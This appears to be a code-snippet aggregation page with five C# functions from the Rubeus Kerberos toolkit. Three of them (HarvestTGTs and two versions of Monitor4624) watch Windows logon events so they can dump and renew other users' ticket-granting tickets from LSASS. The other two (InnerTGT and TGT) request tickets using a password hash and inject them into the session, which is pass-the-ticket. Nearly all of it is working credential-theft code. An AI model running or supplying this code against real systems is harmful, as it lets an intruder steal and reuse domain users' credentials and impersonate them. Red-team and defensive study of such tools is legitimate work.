Пример #1
0
        public static void HarvestTGTs(int intervalMinutes, string registryBasePath)
        {
            // First extract all TGTs then monitor the event log (indefinitely) for 4624 logon events
            //  every 'intervalMinutes' and dumps TGTs JUST for the specific logon IDs (LUIDs) based on the event log.
            // On each interval, renew any tickets that are about to expire and refresh the cache.
            // End result: every "intervalMinutes" a set of currently valid TGT .kirbi files are dumped to console

            if (!Helpers.IsHighIntegrity())
            {
                Console.WriteLine("\r\n[X] You need to have an elevated context to dump other users' Kerberos tickets :( \r\n");
                return;
            }

            Console.WriteLine("[*] Action: TGT Harvesting (w/ auto-renewal)");
            Console.WriteLine("\r\n[*] Monitoring every {0} minutes for 4624 logon events\r\n", intervalMinutes);

            // used to keep track of LUIDs we've already dumped
            var seenLUIDs = new Dictionary <ulong, bool>();

            // get the current set of TGTs
            List <KRB_CRED> creds = LSA.ExtractTGTs(new Interop.LUID());

            while (true)
            {
                // check for 4624 logon events in the past "intervalSeconds"
                string         queryString = String.Format("*[System[EventID=4624 and TimeCreated[timediff(@SystemTime) <= {0}]]]", intervalMinutes * 60 * 1000);
                EventLogQuery  eventsQuery = new EventLogQuery("Security", PathType.LogName, queryString);
                EventLogReader logReader   = new EventLogReader(eventsQuery);

                for (EventRecord eventInstance = logReader.ReadEvent(); eventInstance != null; eventInstance = logReader.ReadEvent())
                {
                    // if there's an event, extract out the logon ID (LUID) for the session
                    string   eventMessage = eventInstance.FormatDescription();
                    DateTime eventTime    = (DateTime)eventInstance.TimeCreated;

                    int    startIndex = eventMessage.IndexOf("New Logon:");
                    string message    = eventMessage.Substring(startIndex);

                    // extract out relevant information from the event log message
                    var   acctNameExpression   = new Regex(string.Format(@"\n.*Account Name:\s*(?<name>.+?)\r\n"));
                    Match acctNameMatch        = acctNameExpression.Match(message);
                    var   acctDomainExpression = new Regex(string.Format(@"\n.*Account Domain:\s*(?<domain>.+?)\r\n"));
                    Match acctDomainMatch      = acctDomainExpression.Match(message);

                    if (acctNameMatch.Success)
                    {
                        var   srcNetworkExpression = new Regex(string.Format(@"\n.*Source Network Address:\s*(?<address>.+?)\r\n"));
                        Match srcNetworkMatch      = srcNetworkExpression.Match(message);

                        string logonName         = acctNameMatch.Groups["name"].Value;
                        string accountDomain     = "";
                        string srcNetworkAddress = "";
                        try
                        {
                            accountDomain = acctDomainMatch.Groups["domain"].Value;
                        }
                        catch { }
                        try
                        {
                            srcNetworkAddress = srcNetworkMatch.Groups["address"].Value;
                        }
                        catch { }

                        // ignore SYSTEM logons and other defaults
                        if (!Regex.IsMatch(logonName, @"SYSTEM|LOCAL SERVICE|NETWORK SERVICE|UMFD-[0-9]+|DWM-[0-9]+|ANONYMOUS LOGON", RegexOptions.IgnoreCase))
                        {
                            Console.WriteLine("\r\n[+] {0} - 4624 logon event for '{1}\\{2}' from '{3}'", eventTime, accountDomain, logonName, srcNetworkAddress);

                            var   expression2 = new Regex(string.Format(@"\n.*Logon ID:\s*(?<id>.+?)\r\n"));
                            Match match2      = expression2.Match(message);

                            if (match2.Success)
                            {
                                try
                                {
                                    // check if we've seen this LUID before
                                    Interop.LUID luid = new Interop.LUID(match2.Groups["id"].Value);
                                    if (!seenLUIDs.ContainsKey((ulong)luid))
                                    {
                                        seenLUIDs[luid] = true;
                                        // if we haven't seen it, extract any TGTs for that particular logon ID and add to the cache
                                        List <KRB_CRED> newCreds = LSA.ExtractTGTs(luid);
                                        creds.AddRange(newCreds);
                                    }
                                }
                                catch (Exception e)
                                {
                                    Console.WriteLine("[X] Exception: {0}", e.Message);
                                }
                            }
                        }
                    }
                }

                for (int i = creds.Count - 1; i >= 0; i--)
                {
                    DateTime endTime   = TimeZone.CurrentTimeZone.ToLocalTime(creds[i].enc_part.ticket_info[0].endtime);
                    DateTime renewTill = TimeZone.CurrentTimeZone.ToLocalTime(creds[i].enc_part.ticket_info[0].renew_till);

                    // check if the ticket is going to expire before the next interval checkin
                    if (endTime < DateTime.Now.AddMinutes(intervalMinutes))
                    {
                        // check if the ticket's renewal limit will be valid within the next interval
                        if (renewTill < DateTime.Now.AddMinutes(intervalMinutes))
                        {
                            // renewal limit under checkin interval, so remove the ticket from the cache
                            creds.RemoveAt(i);
                        }
                        else
                        {
                            // renewal limit after checkin interval, so renew the TGT
                            string userName   = creds[i].enc_part.ticket_info[0].pname.name_string[0];
                            string domainName = creds[i].enc_part.ticket_info[0].prealm;

                            Console.WriteLine("[*] Renewing TGT for {0}@{1}", userName, domainName);
                            byte[]   bytes       = Renew.TGT(creds[i], false, "", false);
                            KRB_CRED renewedCred = new KRB_CRED(bytes);
                            creds[i] = renewedCred;
                        }
                    }
                }

                Console.WriteLine("\r\n[*] {0} - Current usable TGTs:\r\n", DateTime.Now);
                LSA.DisplayTGTs(creds);
                if (registryBasePath != null)
                {
                    LSA.SaveTicketsToRegistry(creds, registryBasePath);
                }

                Thread.Sleep(intervalMinutes * 60 * 1000);
            }
        }
Пример #2
0
        public static byte[] InnerTGT(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, string outfile, bool ptt, string domainController = "", Interop.LUID luid = new Interop.LUID(), bool describe = false, bool verbose = false)
        {
            if (verbose)
            {
                Console.WriteLine("[*] Action: Ask TGT\r\n");

                Console.WriteLine("[*] Using {0} hash: {1}", etype, keyString);

                if ((ulong)luid != 0)
                {
                    Console.WriteLine("[*] Target LUID : {0}", (ulong)luid);
                }
            }


            string dcIP = Networking.GetDCIP(domainController, false);

            if (String.IsNullOrEmpty(dcIP))
            {
                throw new RubeusException("[X] Unable to get domain controller address");
            }

            if (verbose)
            {
                Console.WriteLine("[*] Building AS-REQ (w/ preauth) for: '{0}\\{1}'", domain, userName);
            }

            byte[] reqBytes = AS_REQ.NewASReq(userName, domain, keyString, etype);

            byte[] response = Networking.SendBytes(dcIP, 88, reqBytes);
            if (response == null)
            {
                throw new RubeusException("[X] No answer from domain controller");
            }

            // decode the supplied bytes to an AsnElt object
            //  false == ignore trailing garbage
            AsnElt responseAsn = AsnElt.Decode(response, false);

            // check the response value
            int responseTag = responseAsn.TagValue;

            if (responseTag == 11)
            {
                if (verbose)
                {
                    Console.WriteLine("[+] TGT request successful!");
                }

                // parse the response to an AS-REP
                AS_REP rep = new AS_REP(responseAsn);

                // convert the key string to bytes
                byte[] key = Helpers.StringToByteArray(keyString);

                // decrypt the enc_part containing the session key/etc.
                // TODO: error checking on the decryption "failing"...
                byte[] outBytes;

                if (etype == Interop.KERB_ETYPE.des_cbc_md5)
                {
                    // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8
                    outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
                }
                else if (etype == Interop.KERB_ETYPE.rc4_hmac)
                {
                    // KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY = 8
                    outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_TGS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
                }
                else if (etype == Interop.KERB_ETYPE.aes128_cts_hmac_sha1)
                {
                    // KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3
                    outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
                }
                else if (etype == Interop.KERB_ETYPE.aes256_cts_hmac_sha1)
                {
                    // KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY = 3
                    outBytes = Crypto.KerberosDecrypt(etype, Interop.KRB_KEY_USAGE_AS_REP_EP_SESSION_KEY, key, rep.enc_part.cipher);
                }
                else
                {
                    throw new RubeusException("[X] Encryption type \"" + etype + "\" not currently supported");
                }


                AsnElt ae = AsnElt.Decode(outBytes, false);

                EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]);

                // now build the final KRB-CRED structure
                KRB_CRED cred = new KRB_CRED();

                // add the ticket
                cred.tickets.Add(rep.ticket);

                // build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart

                KrbCredInfo info = new KrbCredInfo();

                // [0] add in the session key
                info.key.keytype  = encRepPart.key.keytype;
                info.key.keyvalue = encRepPart.key.keyvalue;

                // [1] prealm (domain)
                info.prealm = encRepPart.realm;

                // [2] pname (user)
                info.pname.name_type   = rep.cname.name_type;
                info.pname.name_string = rep.cname.name_string;

                // [3] flags
                info.flags = encRepPart.flags;

                // [4] authtime (not required)

                // [5] starttime
                info.starttime = encRepPart.starttime;

                // [6] endtime
                info.endtime = encRepPart.endtime;

                // [7] renew-till
                info.renew_till = encRepPart.renew_till;

                // [8] srealm
                info.srealm = encRepPart.realm;

                // [9] sname
                info.sname.name_type   = encRepPart.sname.name_type;
                info.sname.name_string = encRepPart.sname.name_string;

                // add the ticket_info into the cred object
                cred.enc_part.ticket_info.Add(info);

                byte[] kirbiBytes = cred.Encode().Encode();

                if (verbose)
                {
                    string kirbiString = Convert.ToBase64String(kirbiBytes);

                    Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString);

                    // display the .kirbi base64, columns of 80 chararacters
                    foreach (string line in Helpers.Split(kirbiString, 80))
                    {
                        Console.WriteLine("      {0}", line);
                    }
                }

                if (!String.IsNullOrEmpty(outfile))
                {
                    outfile = Helpers.MakeValidFileName(outfile);
                    if (Helpers.WriteBytesToFile(outfile, kirbiBytes))
                    {
                        if (verbose)
                        {
                            Console.WriteLine("\r\n[*] Ticket written to {0}\r\n", outfile);
                        }
                    }
                }

                if (ptt || ((ulong)luid != 0))
                {
                    // pass-the-ticket -> import into LSASS
                    LSA.ImportTicket(kirbiBytes, luid);
                }

                if (describe)
                {
                    KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
                    LSA.DisplayTicket(kirbi);
                }

                return(kirbiBytes);
            }
            else if (responseTag == 30)
            {
                // parse the response to an KRB-ERROR
                KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
                throw new KerberosErrorException("", error);
            }
            else
            {
                throw new RubeusException("[X] Unknown application tag: " + responseTag);
            }
        }
Пример #3
0
        public static void Monitor4624(int intervalSeconds, string targetUser, string registryBasePath = null)
        {
            // monitors the event log (indefinitely) for 4624 logon events every 'intervalSeconds' and dumps TGTs JUST for the specific
            //  logon IDs (LUIDs) based on the event log. Can optionally only extract for a targeted user.

            if (!Helpers.IsHighIntegrity())
            {
                Console.WriteLine("\r\n[X] You need to have an elevated context to dump other users' Kerberos tickets :( \r\n");
                return;
            }

            // used to keep track of LUIDs we've already dumped
            var seenLUIDs = new Dictionary <ulong, bool>();

            Console.WriteLine("[*] Action: TGT Monitoring");
            Console.WriteLine("[*] Monitoring every {0} seconds for 4624 logon events", intervalSeconds);

            if (!String.IsNullOrEmpty(targetUser))
            {
                Console.WriteLine("[*] Target user : {0}", targetUser);
                targetUser = targetUser.Replace("$", "\\$");
            }
            Console.WriteLine();


            while (true)
            {
                // check for 4624 logon events in the past "intervalSeconds"
                string         queryString = String.Format("*[System[EventID=4624 and TimeCreated[timediff(@SystemTime) <= {0}]]]", intervalSeconds * 1000);
                EventLogQuery  eventsQuery = new EventLogQuery("Security", PathType.LogName, queryString);
                EventLogReader logReader   = new EventLogReader(eventsQuery);

                for (EventRecord eventInstance = logReader.ReadEvent(); eventInstance != null; eventInstance = logReader.ReadEvent())
                {
                    // if there's an event, extract out the logon ID (LUID) for the session
                    string   eventMessage = eventInstance.FormatDescription();
                    DateTime eventTime    = (DateTime)eventInstance.TimeCreated;

                    int    startIndex = eventMessage.IndexOf("New Logon:");
                    string message    = eventMessage.Substring(startIndex);

                    // extract out relevant information from the event log message
                    var   acctNameExpression   = new Regex(string.Format(@"\n.*Account Name:\s*(?<name>.+?)\r\n"));
                    Match acctNameMatch        = acctNameExpression.Match(message);
                    var   acctDomainExpression = new Regex(string.Format(@"\n.*Account Domain:\s*(?<domain>.+?)\r\n"));
                    Match acctDomainMatch      = acctDomainExpression.Match(message);

                    if (acctNameMatch.Success)
                    {
                        var   srcNetworkExpression = new Regex(string.Format(@"\n.*Source Network Address:\s*(?<address>.+?)\r\n"));
                        Match srcNetworkMatch      = srcNetworkExpression.Match(message);

                        string logonName         = acctNameMatch.Groups["name"].Value;
                        string accountDomain     = "";
                        string srcNetworkAddress = "";
                        try
                        {
                            accountDomain = acctDomainMatch.Groups["domain"].Value;
                        }
                        catch { }
                        try
                        {
                            srcNetworkAddress = srcNetworkMatch.Groups["address"].Value;
                        }
                        catch { }

                        // ignore SYSTEM logons and other defaults
                        if (!Regex.IsMatch(logonName, @"SYSTEM|LOCAL SERVICE|NETWORK SERVICE|UMFD-[0-9]+|DWM-[0-9]+|ANONYMOUS LOGON", RegexOptions.IgnoreCase))
                        {
                            Console.WriteLine("\r\n[+] {0} - 4624 logon event for '{1}\\{2}' from '{3}'", eventTime, accountDomain, logonName, srcNetworkAddress);
                            // filter if we're targeting a specific user
                            if (String.IsNullOrEmpty(targetUser) || (Regex.IsMatch(logonName, targetUser, RegexOptions.IgnoreCase)))
                            {
                                var   expression2 = new Regex(string.Format(@"\n.*Logon ID:\s*(?<id>.+?)\r\n"));
                                Match match2      = expression2.Match(message);

                                if (match2.Success)
                                {
                                    try
                                    {
                                        // check if we've seen this LUID before
                                        Interop.LUID luid = new Interop.LUID(match2.Groups["id"].Value);
                                        if (!seenLUIDs.ContainsKey((ulong)luid))
                                        {
                                            seenLUIDs[luid] = true;
                                            // if we haven't seen it, extract any TGTs for that particular logon ID
                                            LSA.ListKerberosTicketData(luid, "krbtgt", true, registryBasePath);
                                        }
                                    }
                                    catch (Exception e)
                                    {
                                        Console.WriteLine("[X] Exception: {0}", e.Message);
                                    }
                                }
                            }
                        }
                    }
                }
                System.Threading.Thread.Sleep(intervalSeconds * 1000);
            }
        }
Пример #4
0
        public static byte[] TGT(string userName, string domain, string keyString, Interop.KERB_ETYPE etype, string outfile, bool ptt, string domainController = "", Interop.LUID luid = new Interop.LUID(), bool describe = false)
        {
            try
            {
                return(InnerTGT(userName, domain, keyString, etype, outfile, ptt, domainController, luid, describe, true));
            }
            catch (KerberosErrorException ex)
            {
                KRB_ERROR error = ex.krbError;
                Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
            }
            catch (RubeusException ex)
            {
                Console.WriteLine("\r\n" + ex.Message + "\r\n");
            }

            return(null);
        }
Пример #5
0
        public static void Monitor4624(int intervalSeconds, string targetUser, string registryBasePath = null)
        {
            // monitors the event log (indefinitely) for 4624 logon events every 'intervalSeconds' and dumps TGTs JUST for the specific
            //  logon IDs (LUIDs) based on the event log. Can optionally only extract for a targeted user.

            if (!Helpers.IsHighIntegrity())
            {
                Console.WriteLine("\r\n[X] You need to have an elevated context to dump other users' Kerberos tickets :( \r\n");
                return;
            }

            // used to keep track of LUIDs we've already dumped
            var seenLUIDs = new Dictionary <ulong, bool>();

            Console.WriteLine("[*] Action: TGT Monitoring");
            Console.WriteLine("[*] Monitoring every {0} seconds for 4624 logon events", intervalSeconds);

            if (!String.IsNullOrEmpty(targetUser))
            {
                Console.WriteLine("[*] Target user : {0}", targetUser);
            }
            Console.WriteLine();


            while (true)
            {
                // check for 4624 logon events in the past "intervalSeconds"
                string         queryString = String.Format("*[System[EventID=4624 and TimeCreated[timediff(@SystemTime) <= {0}]]] and *[EventData[Data[@Name='AuthenticationPackageName']='Kerberos']]", (intervalSeconds + 3) * 1000);
                EventLogQuery  eventsQuery = new EventLogQuery("Security", PathType.LogName, queryString);
                EventLogReader logReader   = new EventLogReader(eventsQuery);

                for (EventRecord eventInstance = logReader.ReadEvent(); eventInstance != null; eventInstance = logReader.ReadEvent())
                {
                    // if there's an event, extract out the logon ID (LUID) for the session
                    string   eventMessage = eventInstance.FormatDescription();
                    DateTime eventTime    = (DateTime)eventInstance.TimeCreated;


                    string targetUserName    = eventInstance.Properties[5].Value.ToString();
                    string targetUserDomain  = eventInstance.Properties[6].Value.ToString();
                    string targetLogonId     = eventInstance.Properties[7].Value.ToString();
                    string srcNetworkAddress = eventInstance.Properties[18].Value.ToString();

                    // ignore SYSTEM logons and other defaults
                    if (Regex.IsMatch(targetUserName,
                                      @"^(SYSTEM|LOCAL SERVICE|NETWORK SERVICE|UMFD-[0-9]+|DWM-[0-9]+|ANONYMOUS LOGON)$",
                                      RegexOptions.IgnoreCase))
                    {
                        continue;
                    }

                    Console.WriteLine("\r\n[+] {0} - 4624 logon event for '{1}\\{2}' from '{3}'", eventTime, targetUserDomain, targetUserName, srcNetworkAddress);
                    // filter if we're targeting a specific user
                    if (targetUser != null && !Regex.IsMatch(targetUserName, Regex.Escape(targetUser), RegexOptions.IgnoreCase))
                    {
                        continue;
                    }

                    try
                    {
                        // check if we've seen this LUID before
                        Interop.LUID luid = new Interop.LUID(targetLogonId);
                        if (!seenLUIDs.ContainsKey((ulong)luid))
                        {
                            seenLUIDs[luid] = true;
                            // if we haven't seen it, extract any TGTs for that particular logon ID
                            LSA.ListKerberosTicketData(luid, "krbtgt", true, registryBasePath);
                        }
                    }
                    catch (Exception e)
                    {
                        Console.WriteLine("[X] Exception: {0}", e.Message);
                    }
                }

                Thread.Sleep(intervalSeconds * 1000);
            }
        }